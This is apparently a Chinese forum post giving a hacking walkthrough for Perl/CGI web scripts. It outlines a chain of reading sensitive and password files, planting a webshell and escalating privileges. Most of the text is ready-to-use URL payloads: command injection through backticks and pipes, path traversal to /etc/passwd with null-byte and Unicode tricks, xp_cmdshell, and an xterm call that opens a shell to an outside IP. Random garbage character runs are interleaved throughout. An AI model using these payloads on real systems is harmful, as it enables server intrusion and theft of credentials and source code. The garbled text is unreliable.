总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
3 u# m8 m7 d* E' l9 o* @cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
# |! m4 g7 n; m' w" V, T/ R) Y0 E感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
0 g' O2 R- i8 U5 N. U. X1 N注“
$ m3 o/ d/ n' b& S: I4 jperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
3 [$ k' ]; b5 R* _, P以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET ; c8 y% L: B+ i$ X; M9 v+ P$ t
4 K/ r% A6 v1 E# p) }; x. v/ O
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
4 C- k- b9 l9 f8 E" m, uhttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
7 E& h) { n, j+ J3 I* ^9 qhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 0 e) C' E" L* U
http://target.com/cgi-bin/home/news/sub.pl?`id` / j$ m0 J, @, R7 l. W) v
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
9 C5 h2 O& t4 H* B% @http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
% E) F. B! F5 }" C$ Y2 V4 H* H! s3 ^. {! `0 i
http://target.com/test.pl;ls| % k0 l3 v6 u8 }. W* A8 v$ c
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
! ]8 M: o3 g3 t" f$ \; Fhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
' @& R( B m6 W% S; w" d* ~http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 5 h9 {8 g$ V+ R2 G T6 L
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 ?8 f; q+ g! t5 e
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection 2 k% n e) F2 E0 Q+ x9 q
3 b( m4 ]! t# M0 `( x
http://target.com/test.pl?&........ /../../etc/passwd 8 S2 C/ Y7 ~' R2 R% F
* F( a/ k* I. Q" Xhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
' c7 j% V8 N( v8 j. R) Mhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
- h! S$ c' ?2 I1 ^http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
$ t" g4 c$ K0 u5 J' f# U! k; ^
http://www.target.org/show.php?f ... /include/config.php 查看php代码
3 _- E& z* V- {http://www.target.org/show.php?f ... ng/admin/global.php 8 G, O. U( x- X0 n
* [8 e# j, o: _- @/ Temm和ps的一句话& J3 H& _4 t+ }3 N# |# H6 p
; u- D0 f. g5 E% Q% n" ` A1 y
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 ; Z6 B+ y+ @* h- {
8 D/ B# r L) X6 t3 R& y
>bbb%20|
& P6 i: r( R4 F* S/ G* r/ m2 n! x$ k& P
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 ( v2 G* e" ]7 @* n1 F4 i+ _( l
3 ^. k, e7 _4 Y& `+ y
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
[2 ]' V8 d7 a2 p# O7 fhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin ! @: P5 I$ A. ~5 O6 z1 I
7 t+ a7 Y+ \& W: R7 N
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 9 U3 q& O- Y! C# a4 e
http://target.com/index.html#cmd.exe
4 |5 F9 Y8 r7 L! h; D" u8 x6 thttp://target.com/index.html?dummyparam=xp_cmdshell + S5 O; C2 q* a$ e
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
d! \1 g* L8 y) h# \& ?+ h' A; Q |